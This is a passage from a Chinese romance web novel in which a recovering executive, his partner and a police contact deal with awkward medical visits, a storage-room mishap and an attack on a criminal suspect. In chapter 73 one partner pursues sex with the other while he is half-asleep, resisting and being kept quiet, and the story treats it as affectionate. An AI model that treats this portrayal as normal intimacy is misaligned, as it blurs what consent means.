只是在好不容易把按摩结束之后,还是想尽办法把累到有点儿蔫蔫的老婆哄上床。只是气氛烘托的差不多之后,问题又来了。 “哦,所以赵总这是醒来之后杨伟了?”在一旁看这对熟人一唱一和好一会儿, 康主任也是悟了。只见他轻咳一声,毕竟在小学妹面前多少还是要点面子的。只见头上没几根毛的主治医生微微低下头, 露出一个光滑反光的顶儿,刻意低声说, “我是男人, 我懂。赵总要不我带你去男科做下检查?” 本来话说到这里王今安还有点儿替自家弟弟未来的幸福生活感到担忧, 但赵嘉良却是直接炸了。 “什么男科?!我不用看男科!” 见他跟踩到尾巴的猫似的,王今安轻笑一声,“别胡闹, 这种事情可不兴讳疾忌医。” 赵嘉良知道自己刚刚支支吾吾的发言可能是让这两位医生误会了。他深吸一口气,重新缓缓解释道, “我就是想咨询下我的这个末梢神经什么时候能恢复, 毕竟这太妨碍我正常生活了!” “哦,是末梢神经的问题啊。”康主人的语气里莫名的似乎带着一股惋惜的味道。 而王今安则是讳莫如深的看了他好几眼,“之前不就跟你说了,你这个问题需要长时间的复健, 再慢慢看有没有机会恢复。你当时不是说你不着急,心态好,已经做好了长时间复健的心理准备嘛。这才刚刚一个月呢,怎么就等不及了?” 赵嘉良目光闪烁的摸了摸鼻子,“姐,我的情况你是知道的,我平时在夏季面前已经够伏小做低了,也就只有那什么的时候能够作威作福一下。我现在这身体情况连这点子福利都没有了,我是真难受啊~” 虽然王今安一个黄花大闺女肯定是不会过问弟弟的房里事的,但架不住之前还在当植物人的赵嘉良过于牛逼。他这家伙就连当植物人都比旁人当的更加清新脱俗,硬生生的凭借着自己的“天赋异禀”让整个实验病房的工作人员都对他印象深刻。 而此时赵嘉良惆怅的是,由于身体不够灵活,他在床上尽显颓势。别说之前喜欢的那些小玩具了,就连他跟夏季“定情”的小马鞭他都使着费劲,偶尔激动起来还得对象帮忙~你就说这对一个旱了好几个月的非单身男士来说痛苦不痛苦吧? 母胎Solo了二十八年的王今安用力的咳了两声,恶狠狠的说,“治不了,没救了,等死吧。” 之后王今安跟师兄交代了两句,冲赵嘉良翻了个白眼直接走了。 办公室的气氛一度十分尴尬,康主任轻咳两声,“内什么,赵总你毕竟是重伤初愈,生活上有所不便也是在所难免的。如果真的有困难的话,我帮您想想办法?” 赵嘉良没有多想,赶忙点了点头。 十分钟后,跑到医院一楼,找了好几个自动贩售机才买到赵嘉良喜欢的那款饮料后,夏季回到神经外科楼层的时候半天没找见赵嘉良人。 刚准备给他打电话呢,隔着老远却听到了对方中气十足的咆哮声。 公立医院人来人往,喧闹嘈杂,夏季一时没听清赵嘉良在吼什么呢。于是他快步去到对方主治医生办公室,敲了敲门看着里面两个面色各异的男人,有些疑惑“怎么了这事?” 见他过来了,赵嘉良下意识的身体紧绷,立刻站了起来,“没没什么,我就是跟康主任咨询一下病情。” 夏季一脸狐疑的瞥了一眼表情不对的康主任。 对方是王今安倾情推荐的京市顶级神经外科医生,夏季对他也很是信任。 “康主任,他的病情?” 这段时间赵嘉良的身体情况虽然没有恶化却也完全没有任何好转夏季是看在眼里的,在加上一些不尽如人意的事情催化,他其实能够理解赵嘉良那猴急的心理。 康主任讪笑着抹了一把锃亮反光的脑门儿,笑道,“其实赵总现在这个情况已经很不错了。心急吃不了热豆腐,不要乱搞,好好复健哈。” 夏季:…… 把赵嘉良提溜出来后,夏季心很累,“说吧,什么情况?” 别看赵嘉良这人在外面看起来八面威风,高高在上。 但他这人在亲近之人,尤其是认定的伴侣面前却是十分情绪化的。夏季就是个瞎子也能看出来这家伙委屈巴巴中夹杂着一丝懊恼的眼神,这让他也有些困惑。明明这些日子自己已经尽可能的迁就对方,几乎做到自己所能理解的“优秀男友”的九成九了。但赵嘉良这家伙看起来似乎还并没有因此感到满足,夏季不知道他在委屈懊恼什么。 可接下来这个身形高大的男人微微低头的话却差点儿没让他绷不住。 “宝贝,现在外面的人都说我成吃软饭的小白脸了。我其实对这些风言风语并不在意,但我白天都当软饭男了,不能晚上也当软饭男吧……”赵嘉良有些难堪的摸了摸鼻子,声音压得更低了,头也埋得更低了,“呜呜,我一想到现在床上都要你帮忙我就我就~” 夏季的脸色变了变。 在这青天白日朗朗乾坤的公立医院,人来人往的住院部走廊上,他差点儿没给赵嘉良干红温咯。 只见夏季也压低声音,低骂道,“你特么的给我闭嘴!走,赶紧回家去!” 见状,赵嘉良也只好跟在对方身后,僵硬的跟着走了。 讲道理,能从植物人恢复到如今可以生活自理的状态,医生们对赵嘉良的恢复状态已经很满意了。就连身为患者家属的夏季也挑不出什么毛病。 就赵嘉良现在这身体情况,只要没有涉及男科问题,正常的生个孩子啥的他是能做到的。 但问题就是,他跟夏季的情况有那么一点点不正常。 两人刚回到车上,夏季吩咐司机将挡板升起来之后,看着垂头丧气的自家男友还是忍不住叹了口气。 “你就那么迫不及待吗?”夏季这段时间是很温柔体贴,但他过分的体贴却也小小的伤到了某人本就岌岌可危的自尊心。 赵嘉良跟着他的节奏也叹了口气,幽幽的说,“宝贝,你知道吗?我之前一直觉得我是靠微操拿下你的” “微操你大爷啊!”夏季直接尚了他一拳。 其实在认识赵嘉良之前,夏季对自我的认知一直都是:将为科学事业奋斗终身的光伟正新社会好青年。 对于朦胧憧憬中另一半的形象也是跟自己有着共同理想,有共同话题的同行或者相关行业的从业人员。夏季以为自己在吸取了生父的教训后,会擦亮眼睛找到一个温柔善良的另一半,相互扶持着稳稳当当的走完人生。可谁曾想,那位被自己视为偶像的牛顿大师用那半个苹果的重力因果,替他悉心挑选的这个大块头男士,把自己曾经幻想的平淡生活给彻底毁的稀碎~而一时失足成千古恨的着了这家伙的道之后,夏季后面就是想后悔也来不及了。 虽然两位老板在后排“打打闹闹”,但车技精湛的司机还是面不改色的,迅速平稳的将车开回了夏园那一眼都望不到头的地下停车场。 夏季本来是气鼓鼓的摔门下车,想直接一走了之的。 但走了两步看到前方那一排五颜六色的昂贵跑车,还是忍不住心软了一下。他转身拉开赵嘉良那侧车门,冲他伸出手,“下车。” 赵嘉良倒也没有行动不便到无法自主下车,但夏季既然主动伸手了,他也完全没有拒绝的道理。 在医生的建议下,赵嘉良从今天开始就不怎么坐轮椅了,因为走不快,平时只要三分钟的到电梯口的路程他们走了足足五分钟。 而夏园的地下车库里拥有着全京市品类最丰富的各种豪车,这都是当年两人刚交往的时候赵嘉良从世界各地为夏季搜罗来的。 看着这一排排被保养的很好,落灰几年却依然跟新的一样的豪车们,本有些恼羞成怒的夏季也逐渐情绪平缓了些。 “其实咱俩都不是对车子感兴趣的人,这么多车放家里也是吃灰,还不如拿去变现”进电梯的时候,夏季忽然说。 “别啊,放家里展览不也挺有面子吗?这可都是我爱你的证明呢。”赵嘉良下意识道。不过随即他又想到了什么,改口道,“不过你要是真不喜欢,也不是不行” 赵嘉良虽然从小就是不良少年,但他对飚车还真没啥兴趣。等他大了之后,挣钱成了事业也是爱好,但对个人享受的追求却并不怎么高。他的所有高消费都从追求夏季开始的,在确定关系之后赵嘉良按照他亲妈的追人流程直接开启了送车送房的操作。 当时夏园还在建,房产证和相关手续文件他就已经迫不及待的准备好了。而夏季半推半就的接受了男朋友赠送的昂贵房产之后,饶是打定主意要视金钱为粪土,终身为星辰大海奋斗终生的准·科学家夏二少也是在这天价造价的宫殿面前晃了神。于是赵嘉良当时就决定趁热打铁,在对方迟疑后悔的时候充分展现自己的竞争力,送完房之后他就开始送车了。但很快,赵嘉良就发现了一个问题。他送的车夏季从来不开,他甚至宁愿扫共享单车顶着京市的冬日寒风在校园里奔走,也不愿意在散发着金钱芬芳的豪车里吹暖气。 那时候还小心翼翼的赵嘉良并不敢直接去问,只是跟狐朋狗友们合计了一番后觉得可能是自己送的车对方不喜欢。 因此在那半个月,全京市的车行都迎来了他们的新晋财神。而夏季跟王老做了两天封闭实验出来之后,天都塌了。赵嘉良把之前他曾无意夸过一嘴的法拉利给集了个色卡~几十台不同款式不同颜色配置的,在他们实验楼底下停的满满当当的,也让夏季本想缓缓再带赵嘉良进自己社交圈的他当场幻想破灭。 这么大的阵仗下,夏季也在硬着头皮跟导师同学们介绍了自己新交的男友身份后,他也算是在学校里出名了。 而后面他质问对方为什么要给自己送这么多车的时候,赵嘉良解释说,“我之前送的宾利奔驰保时捷你都没开过,我寻思着你应该不喜欢中规中矩的轿车,所以就托朋友帮忙弄了些跑车。你之前不是说觉得法拉利的设计感很符合你的审美吗” 夏季一噎,痛苦的闭了闭眼,“有没有那么一种可能,我不开是因为我没驾照?” 虽然没驾照,但除了这一大排法拉利之外赵嘉良还想当然的订了许多其他牌子的限量款跑车。 定金都付了肯定是不能退的,正好夏园地下车库大,赵嘉良索性就把这些车全塞了进去,美曰其名:车库太空不好看。 只是如今他们已经从刚刚交往,到相知相伴即将结婚了,夏季还是没有驾照。 以前是生活在山坳坳里没有条件考驾照,后面是回了夏家更没机会学车。如今跟赵嘉良在一起了,出行都有司机接送,学车的重要性瞬间就降低了一大截。夏季觉得把考证的时间花在学习研究上会更有意义,于是一直到久远的如今,他依然是京市茫茫人海中,少见的不会开车的一员~ 看着家里这一堆吃灰的废铁,再看看身边因为腿脚不便,连带着在床上动作不灵敏而委屈巴巴的对象,夏季还是心软了。 “要不我还是去学个车吧,以后接送你也方便。”《 》 70-80 第71章 “学什么车啊。”赵嘉良一愣, 指着身前的几个助理司机道,“家里养的司机都能开车队了,还犯得着宝宝你亲自开车吗?” 夏季笑了笑, 语气温柔, “可是我还从来没有亲自送你上过班。” 赵嘉良瞬间有种被他的笑容击中心房的感觉,只见他故作捧心状,动作夸张道, “天呐宝贝儿,你真是让我受宠若惊!” “既然如此,明天你送我上班吧。” 明天就是周一了,按照赵嘉良的行程计划, 明天他就要结束夏氏那边的收尾工作回赵氏大楼正常办公了。 因为夏季之前的铁血手段,整个赵氏的管理层都被清洗了不少。虽然公司内部怨声载道的, 但赵嘉良其实心里明镜似的,被夏季清理掉的那些人要么属于“前朝余孽”, 要么就是在他出事之前跟赵天生走的过近的。 毕竟有的人真论法律责任可能是没有的, 但他出事那天可是临时加班, 就连夏季都不确定赵嘉良几点会行至那个路口,可赵天生背后的那帮人却能清楚的掐准时间在准确的地点守株待兔,赵氏内部无人通风报信鬼都不信。或许法律无法给这些“无意”透漏信息的人定罪, 但暴君的宠妃,哦不对, 现在暴君本人, 却可以肆无忌惮的对在赵氏工作的每一个人下手。 这些被夏季清算掉的老员工们未来在京圈绝不可能挣到更好的前程。当然,这些都是后话了。 “明天我也要上班啊”虽然夏季现在朝九晚五,工作压力很小。但考虑到送赵嘉良去上班自己就得顶着周一的早高峰提前一个半小时起床 一边是未婚夫的请求,一边是温暖被窝的眷恋, 夏季左右为难。 两人黏黏糊糊的上了电梯,老管家已经在门口候着了。 “顾总,夏少,小房间的东西有点多,快塞不下了,你们看要不要”大晚上的,一般六十多岁的老人家都该睡了,而有得爱操心的老人却会有操不完的心。 “小房间?”赵嘉良一时没有反应过来,然后就轻轻的挨了一拳。 夏季面无表情的说,“知道了,我一会儿去收拾,徐管家您先去休息吧。” 赵嘉良和夏季位于整个夏园建筑中心主楼的顶层是一个可开放式的梦幻风主卧。 虽然夏季刚搬进来的时候非常不习惯这个没有屋顶,直面星空的卧室,总感觉自己生活在一个屋顶漏风的大房子里很可怜的样子。因此主卧的星空主卧的高科技赛博风星空屋顶常年都是合上的状态,看起来就跟正常屋子没什么区别。而他们的主卧旁边有个很小的房间,原本是作为星空屋顶的操作间的。但因为屋顶几乎让夏季给焊死了,这个操作间就闲置了下来。而因为在主卧旁边,正好可以给屋主人用来装些“见不得人”的东西。 就比如赵嘉良搞副业的时候自学成才的那些东西,都是被塞在这个小房间里的。 夏季脸皮薄,从不让家里的佣人收拾这个屋子。但他自己不是个挨收拾的人,却对卫生要求极高。因此,赵嘉良便自告奋勇的负责打理这些小玩具,并且随着时光的推移,他们的玩具越来越多。直到赵嘉良出事 本来出事之前赵嘉良已经让管家在主卧对面那一排房间里找一间改造出来储物了,但改造还在进行中时,他先出事了。为了他的事情,夏季百年难得一见的请了年假只为查清赵嘉良的案子。可出事前还在不断网购或特别定制的商品们并不会因买家的出事而停止发货。所以当某日夏季奔波疲惫了一圈回到家,却被摆在卧室门口的一堆东西整无语了。 年过花甲的老管家亲自这duang大一个的木箱包装的玩意儿搬到他门口,还贴心的说,“您放心,我亲自搬的,没让别人帮忙。” 当时累了一天的夏季看着这个特别定制的牢固木箱子还在疑惑,什么东西需要用这种包装来发货。不过在接过老管家递来的发货单后,当场红温的他只得亲自把东西塞进小屋子。 而随后的日子因为夏季太忙,只好把收纳这些乱七八糟东西的任务交给整个夏园里嘴巴最严的徐管家。只是小屋毕竟面积摆在那里,如今已经塞得满满当当,徐管家也无能为力了。只是要把那一屋子见不得人的东西挪到新储物间去,那真有点儿为难这位老人了。 但考虑到赵嘉良的身体还没恢复,而夏季这个“文弱学术分子”也不是干活儿的人,徐管家实在是觉得自己一个人转移不了才特地跟他们知会一声的。 不过看现在这模样,他挑的时间节点似乎不大合适。 徐管家一步三回头的被夏季打发走了,赵嘉良讪笑了两声,“内什么,我去收拾小屋?” 如果是以前,夏季这时候肯定已经开始发脾气了。 但今时不同往日,夏季只是深吸一口气闭了闭眼,“你走路都费劲,还是我去吧。” 他俩的用品虽然多,但其实真刀真枪用过的却很少。 夏季是个典型的享乐派,且以极度以自我体感为中心,其意志很难以外物位转移。 而赵嘉良则是个具有开拓精神的理论派,开会所的时候学会的那些弯弯绕绕他全都想实操。但长期聚少离多的现实生活并不足以支持他的想法,因此赵嘉良唯一的小乐趣就是订购些小玩意儿以示慰藉。对此,夏季其实也是知道的。 他只会在对方表现优异的时候偶尔屈尊降贵的挑选一两件作为奖励。不过自从赵嘉良出事前一周,他不小心用口口口把脚指头缝给戳了个洞之后,夏季就不乐意跟他玩儿了。 在强硬拒绝了赵嘉良一起收拾的要求,并把人赶去洗澡时,夏季说,“你先洗澡,完了我给你按摩。我一会儿先去看一下怎么收拾比较好,明天还是找人来挪。” 赵嘉良只恨自己受身体情况所限不能跟夏季一起收拾玩具。 不过在他的真诚请求下,夏季还是答应了明天送他去赵氏上班的请求。 但很可惜的是,他这计划好的事情却被猝不及防的意外所打乱。 赵嘉良本想着今天在医院吃了瘪,晚上一定要好好跟老婆亲热一下,安慰一下被王今安唾弃过的受伤心灵。可当他洗香香后准备去床上等老婆回来时,却等到了一个脑门儿上顶着大包回来的夏季。 “宝贝你这是怎么了?”本来还昏昏欲睡的赵嘉良顿时给吓醒了。 他蹭的一下,手脚并用的从床上弹了起来,看着对方阴沉的脸,吓得都快结巴了。 夏季想捂又不敢捂的抬了抬手,眼神凶狠的像是马上能生吃两个小孩儿。 只见他冷笑了一声,“我真不知道是该夸徐管家厉害,能在那么小的房间里塞那么多东西,还是夸你牛逼,没用的废物能买一屋子!” 夏季之前很少去那个房间,但在赵嘉良住院期间他也是看过几眼的。虽然快塞满了,但还不至于造成危险。 可谁知刚刚他准备去看一眼那屋子的情况,盘算一下明天要找几个人来清理的时候,夏季刚拉开那门,一个大箱子直接从头顶滑落下来。还好箱子里面装的全是各种香味的蜡烛,不重。不然夏季恐怕就得遭重了。 赵嘉良在心里把徐管家骂了一通,赶紧关切的查看他额角的伤口。 因为是被箱子的一角磕到,夏季的白皙光洁的额角已经明显凸起,好像长了个角似的。 面对他越来越凶恶的眼神,赵嘉良愧疚的道歉。 “去医院看看吧,毕竟是磕到头了” 而距离夏园最近的自然是赵嘉良做复健的公立人民医院了。工作日的夜晚,医院的急诊并不忙碌。除了急诊内科有几个带孩子来看病的之外,外科这边倒是静悄悄的。 在结束检查,确定没有大问题之后,赵嘉良本想说点儿什么,却跟一大帮推门而入的白大褂撞了个正着。 “赵总,夏季?你们也在医院啊。”跟在白大褂后面的赫然是他们的一位老熟人,老胡。 见他风风火火的模样,赵嘉良好奇道,“怎么了这是,大半夜的这么着急?” 注意到他身上穿的是制服,夏季沉声道,“赵天生出事了?” 站在他身前的赵嘉良身子一僵,这才注意到那帮白大褂胸前的Logo并不是人民医院。 老胡的目光从两人身上扫过,并未回答他的问题,“这么晚了,你俩为什么在这里?” 第72章 自从赵天生被认定为恶意服用致幻药物以逃脱法律制裁之后, 他的这个本就不被辖区公安负责的案子就又被相关部门上调了一个档位,由老胡他们部门负责了。 而上一个由老胡亲自负责的车祸案子,还是五年前的林教授那起。 由于赵嘉良的车祸跟林教授那次的细节几乎是复制粘贴的, 因此醒来后的赵嘉良及其身边的司机助理也没少接受问询调查。 如今在王今安的同学人脉下, 赵天生的精神状况有了明显好转。眼看着破案指日可待,赵天生却出事了。 平时跟夏季说话聊天都嘻嘻哈哈的老胡在办正事的时候却从来不苟言笑。 面对他略带审视的目光,赵嘉良下意识的感觉有些不满, 但还是分轻重的如实回答了,“夏季磕到头了,我陪他来医院挂急诊。” 这里是外科急诊,刚开始值夜班的急诊医生在接待完一位病人之后就开始了激情抢救。想来, 今晚对他来说将会是一个不眠之夜。 老胡“嗯”了一声,扫过夏季那明显无法作假的脑门, 吐槽了一句,“这么大的人了, 还能把脑门儿磕这么大个包?” 不过好在他并没有追问具体细节, 不然夏季可能真有可能红温, 赵嘉良也很可能回头再挨顿打。 原本准备看完急诊确认没有大问题之后就回家的赵嘉良和夏季因为这次偶遇不得不晚点回去了。 夏季这边拿到CT结果之后,正好急诊外科那边的关于赵天生的检查定论也有了。 赵天生虽然精神状况有明显好转,但毕竟还未完全康复, 所以老胡那边在非审讯期间还是要把他送回精神病院继续治疗的,而精神病院那边都无法解决的伤情, 还要连夜转移到人民医院来, 就足以说明情况严重性了。 而有些搞笑的是,赵天生如今这副模样,赵嘉良身为他的近亲属竟然也要被医生叫过去一起交代病情。 “大概的情况就是这样了”值班医生神情凝重的讲了半天,最后总结陈词, “伤情太重不建议继续治疗。当然,家属如果不差钱,不想放弃,那我们也可以给他上,这东西我们一眼但最终结果无法保证。” 若不是看患者家属一身矜贵,普通的急诊医生其实都不会给出这种建议。 老胡和夏季的目光瞬间集中在赵嘉良身上,男人轻笑一声,“你们都看我干嘛?我所有资产都拿来付彩礼了,就剩那么几百万存款。那机器开一天十几万,我可没钱。” 然后急诊医生的视线就落在了夏季身上。 夏季虽然不是什么公众人物,但自从之前上了一次节目之后在年轻人中还算有点名气,这医生显然知道他付得起医疗费。 他冷冷的瞥了赵嘉良一眼,显然对对方推脱责任的说辞并不满意。 “老胡,你怎么看?这个人你还用吗?” 老胡锐利的视线从神色坦荡的两人面上扫过,说,“我需要汇报一下,稍等。” 老胡去外面打电话了,赵嘉良朝抢救室内的方向瞥了一眼,只看到一只血淋淋的右手。 “怎么搞的?”看这样子,不像是赵天生自己能搞出来的。但能在老胡那帮人手下把赵天生搞成这样赵嘉良眉头紧锁,压低声音说,“宝贝,我怎么有种不好的预感?” 夏季用看傻子的目光睨了他一眼。 大概是他眼神中的鄙视实在太过明显,赵嘉良讪讪的摸了摸鼻子,“我说错话了?” “没。”夏季冷漠的收回视线,淡淡道,“只是以前我一直觉得你挺机灵,反应挺快的。” 说着他没忍住又上下打量了赵嘉良一遍,还是抬手温柔的摸了摸他出事后消瘦不少,还没有长回来的脸颊,轻轻叹了口气道,“该死的赵天生,跟反动分子勾结,把你都给创傻了。老胡这么明显的怀疑,你都看不出来了?” 赵嘉良嘴角微抽,如果不是对夏季心怀深深的爱意,他恐怕真要跟对方掰扯几句。 “你就别调侃我了。”最后男人只是闷闷的两手一摊,“不过宝贝你能问问现在这到底什么情况吗?我上个月才刚被广大网友评为现代第一爱国商人,你又是这么多年为咱们的航天事业鞠躬尽瘁,老胡怎么都不该怀疑咱俩吧~” 夏季又睨了他一眼,“注意措辞,他怀疑的只有你。毕竟你确实很有不择手段弄死赵天生的动机,不过我知道你没那个本事。” 之前夏季干保密项目的时候祖宗十八代都被调查过,再加上他直到现在的户籍母子关系里填的还是周小芬的名字。跟老胡打交道这么多年,老胡对夏季的信任肯定是远超赵奸商的。毕竟若是没有夏季这条关系,赵嘉良就是再怎么仁义也绝不可能跟科学院那边搭上关系。 赵嘉良被他说的一噎,本想多问点什么,但在注意到急诊病房门外明显多起来的陌生人,最后还是话锋一转,“那关于赵天生的医疗费” 本来赵天生作为犯罪嫌疑人,就是处在最高监管下。他在这种情况下出了事,照理说监管单位是负有不可推卸的责任。但医生刚也明说了,上呼吸机能拖拖,但贵,结果也未必好。这笔钱不是小数目,若让公家来出,老胡这个级别也不够格。于是老胡他们自然是希望赵嘉良来当这个冤大头。 但非常可惜的是,如今全京圈的人都知道赵嘉良拿全副身家向夏季求婚了,而且夏季还收了。这赵嘉良有没有钱给他家嫌疑人出医药费,老胡心里还真没底 而作为一夜暴富的某位“学术大佬”则是冷冷的说,“你弟弟的医药费当然你负责,你不是还有四五百万的存款吗?够吊他一口气了。” 赵嘉良不吱声了。 “你养出来的心腹大患,你不会是不想负责到底吧?”夏季忍不住调笑道。 “宝贝,你就别嘲讽我了。”赵嘉良整个人都快裂开了,“老胡要真想他活,不会真要我出钱吧?” 他跟所有人一样,都希望能够尽快通过赵天生把埋在华国的那条暗线给挖出来。但这种涉及国家安全的大事让他一个贫穷的打工仔出钱真的合理吗? 夏季见他有苦难言的模样还是忍不住笑了起来。 只是他额头正中间那个明显凸起的“角”让这张原本完美无瑕的脸骤然变得有些接地气了,连他的笑容,都比平时看起来更加阴阳怪气了。 “那赵天生的医药费你是准备要我出钱吗?” 自知理亏的赵嘉良不做声了。 自认为继承了母亲“优良传统”,并将之发扬光大的赵嘉良自认为自己是个优秀的伴侣。也自信夏季绝不可能找到比自己更好的配偶。 毕竟他无论大事小事,都会跟对方有商有量,相处和睦。 赵嘉良唯一忤逆夏季,没有按照他的要求去做的,也就只有把赵天生送出国这一件事情而已。 而当时的夏季自己也工作繁忙,虽然觉得赵天生日后很可能闹出乱子来,但当时的他毕竟也还年轻,只觉得赵天生这种早被亲爹亲妈养废了的温室花朵以后就算闹事也翻不起大风浪,所以没有坚持到底。 之后的几年时间又因为几乎不来往,赵嘉良和夏季也早就对赵锋锐家的这个小废物丧失了警惕之心,这才有了今天的麻烦。 老胡打完电话,汇报完情况回来的时候,赵嘉良和夏季已经就医药费的问题达成了基本一致。 “我已经跟领导汇报过了,上面还是觉得赵天生这边的信息很重要,他不能这时候死。”老胡望着夏季搓了搓手,显然很清楚赵家当家做主的人到底是谁。“小夏啊,内什么~医药费的事情” “医药费我出。”赵嘉良瓮声瓮气的接过话来,“不过他这到底什么情况老胡你总得给我们交个底吧,不然他这十几万一天的医药费烧着,烧个大半年不醒的,那我不成冤大头了吗?” 但老胡就跟没听到似的,只跟夏季说了声“谢谢”,然后客气的拍了拍赵嘉良的肩膀催他赶紧去交钱。 “你先垫着,回头我打了申请报告这钱还是会还你的。” 后面赵嘉良因为是唯一的近亲属和实际付款人,他有幸被允许多听了几句赵天生病情的事情。 只是知道的越多,原本还你跟夏季有些嬉皮笑脸的表情也逐渐凝重。不是真傻的人都看的出来,这个问题很是严重。 “赵天生在精神病院那边住的是特护病房,24小时都有人把守的。”但因为他需要每隔8个小时服一次药,因此今晚的护士过来送药的时候执勤盯梢的那两位并没有产生任何怀疑。 直到服药结束后不到十分钟,又有一个护士推着车过来送药大家才意识到事情不对。 “那人太专业了。”老胡也是很多年没有见过这么干净利落的对手,“而且还是个女人。” 因为安检过于严格,那人的‘凶器’甚至都是就地取材的,也正是因此赵天生才没被一击毙命。但对方有备而来,除了物理伤害之外还有魔法伤害,这时候外科急诊大夫做完紧急处理之后已经摇来了其他科室的大夫。最后一大群医生探讨了半天,得出的结论是:没救了,等死吧。 不过老胡那边还想抓住最后的一丝机会。 “他这情况除了伤了心肺之外,就跟喝了百草枯差不多的。只要他能醒过来,清醒的回答几个问题,这笔医药费就花的值了。”老胡面色凝重。 经过这些天的讯问他知道赵天生就是个软柿子,之所以一直没进展主要还是他时而清醒时而混乱。 “妈的!我真特么就差临门一脚就能问出结果了!结果给我整这死出!” 老胡如何激愤懊恼,对夏季来说根本无关紧要。 “时间不早了,我们回去睡觉了。”他拍了拍对方的肩膀,“报销下来了记得把钱还了。” 第73章 被晚上的这一堆烂事儿一打岔, 等赵嘉良和夏季终于能回家的时候都已经是后半夜了。 “宝贝,要不明天请个假吧?”赵嘉良忧心忡忡的说。 相比于赵总的自律不同,夏二少的人生终极爱好就是睡觉了。他每天不睡够八个小时就会滋生怨气, 只有睡够十个小时才能像个正常人一样心平气和。虽然最近换了研究团队之后夏季的工作强度没有之前在引力实验室时那么大了, 但每天朝九晚五工作的祖宗之法不可变。 赵嘉良看了一眼表,“两点多了,你要是赶着明天上班只能睡四个多小时” 可夏季还是有些担心自己刚转团队没几天就要请假是不是不太好。可他的迟疑犹豫却被赵嘉良一一劝住了。 “医生说你脑门儿上砸的这一下可不轻, 不是说了这两天要好好观察吗?明天就请一天假吧,身体原因嘛,新同事肯定也能理解的。” 赵嘉良之所以劝的这么卖力主要也是他家这位大宝贝儿的起床气比天还大,要是在对方只睡了四个小时的情况下喊他起床赵嘉良最近生活的非常安逸, 不想遭罪~ “这样吧,我现在去找大夫给你开个病假条, 明天你就请个假吧。” 夏季死来前去,在“给同事留下勤奋刻苦的好印象”和“睡懒觉”的选项中挣扎了两秒, 最后果断选择了“睡懒觉”。 “你好吧, 你去找医生开病假条, 我先给组长发请假信息。”夏季矜持的点了点头,然后掏出手机开始发消息。 因为今天弄的太晚,赵嘉良也歇了那些旎绮心思。 “正好我明天也给自己放半天假。”只可惜日理万机的大资本家在如今的关键时刻并不能完全撂挑子, 赵嘉良想了想说,“说好明天送我去上班的, 宝贝明天中午能去送我吗?” 相比于早起送对象上班, 睡到自然醒再去送他上班就成了一件轻松愉快的事情。 “唔,好~”夏季没有多想,嘟囔着答应了。 生物钟让他负责凌晨三四点的时间段几乎丧失了所有的思考能力,以至于瘫在床上迷迷糊糊的时候被赵嘉良那条狗男人揉来弄去的时候都已经完全反应迟钝了。 “嗯?”一直到被狗啃了, 夏季也只能迷迷瞪瞪的努力睁开眼睛。但他刚准备做出轻微的反抗就被某人熟练的拥住,男人宽厚的怀抱将他整个人牢牢环住,密不透风的让夏季都有些出汗了。 “你不困吗?还不睡。”夏季蹙着眉,有些不满的蹬了对方两脚。 但早前就已经做好完全研究的赵嘉良虽然受限于身体条件不能做些“微操”的精细活儿,但如果只是坏事得逞的能力他还是有的。若不是夏季完全清醒的时候实在太过于挑剔,以他那一点苦都不肯吃的性子,赵嘉良可能需要慢工出细活儿,但对于困得眼皮都快睁不开的夏二少,赵狗可有的是手段和力气! “我也困啊。”男人低沉的嗓音在耳边幽幽的说,“可是宝宝你在我身边我哪里睡得着啊。” “唔”夏季刚想张嘴就骂,却被某人预判了他的预判。被口动捂嘴之后夏季没好气的踹了他一脚,但考虑到对方大病初愈的身子,倒是没有太过用力。 这时候已经吃准了他绝对会心软的赵嘉良忍不住低低的笑了两声。他先是安抚性的拍了拍对方的背脊,待怀里的人儿完全放松下来才缓缓一路向下 因为不喜欢绸缎滑溜溜的质感,他们的主卧里的所有用品都纯棉的。 这种吸水材质很好的面料经过后半宿的辛苦耕耘,等到朝阳初显,品质极佳的纯棉床单已经快能拧出水来了。 赵嘉良心满意足的把人抱到对面的侧卧小心伺候着重新洗漱一番,然后将已经几乎失去意识,却依然不忘嘴上骂骂咧咧着“赵狗你给我等着”的大宝贝安置在柔软干爽的大床上,这才神清气爽的返回卧室收拾残局。 作为一个正值壮年的男人,最佳的消除疲惫圣品是什么? 那绝对不是所谓的睡眠,而是老婆的温暖湿润…… 赵嘉良舔了舔嘴唇,听到楼下陆续开始工作的佣人们发出的声音,愉快的把皱巴巴的床上用品全部掀了下来。 待主卧那张定制的超级King size大床被佣人们麻利的收拾好后,赵嘉良还是没胆子把夏季重新抱回主卧再睡一遍。于是他在随便吃了点早餐,然后按时服药之后先是去侧卧欣赏了一下老婆的绝美睡颜,然后才小心翼翼的爬上床,连人带被子一起统统拥入怀中,美美的眯了一会儿。 他俩这一觉睡得并不算久,是老管家实在没办法,捧着夏季响了好多次的手机过来敲门才将他们吵醒。 “赵总,夏先生”管家是不便未经允许就接主人家的私人电话的,再加上来电显示上明晃晃的:研究院三个字。考虑到夏季的特殊工作内容,徐管家只得硬着头皮来次卧的门了。 被吵醒的夏季只觉得头疼的厉害,太阳穴突突的,他一抬手不小心触碰到昨晚被磕出来的大包,疼的他差点儿眼泪都流下来了。 “怎么了?怎么了宝宝?”还睡得迷迷糊糊的赵嘉良听到动静,第一反应就是把人往怀里拢,然后一双手就跟有自己的思想似的,下意识的往一些会让人生气的地方溜。 这次被狠狠的踹过之后,赵嘉良差点儿从床上跌下去。 夏季低头检查了一下,意识到赵狗还不算完全的禽兽,有记得给自己套上睡衣后挣扎着从床上爬了起来。 “手机给我吧。” 他的嗓音沙哑的吓人,这让第二天早上才看到他的请假消息,还怀揣着些疑惑的团队负责人一听到他的声音就立刻释怀了。 “小夏生病了啊,那你在家好好休息吧。” “我今天早上才看到你的请假消息,给你发信息一直没回应这才给你打电话的。” “哦,团队的事情不打紧的,你的那部分内容不多,等你病好了回来之后再做也不迟的。” 在跟新项目的负责人勉强寒暄了一番之后,夏季双目无神的往床上一摊。 “我特么的为什么要听信你的鬼话今天请假?我真是自作自受啊” 由于是被吵醒的,平时生物钟很稳定的夏季陷入了一种身心都很困倦,但躺在床上又完全睡不着的状态。 虽然负责人说要是身体不舒服可以多休息两天没关系,但夏季作为项目内唯一一个正儿八经的天文相关工作人员,他的那部分工作内容是旁人无法替代的。决不能容许自己成为项目拖后腿,更何况是以这种缘由导致要拖后腿的夏季明天说什么也要正常上班。在无视了赵狗的劝说,怨气冲天的从起床洗漱的夏季随便套了身衣服,冲赵嘉良微微一笑。 “走吧,你今天不是说必须得去公司上班还要我送吗?”只是他的这笑容看的赵嘉良有点儿汗流浃背了。 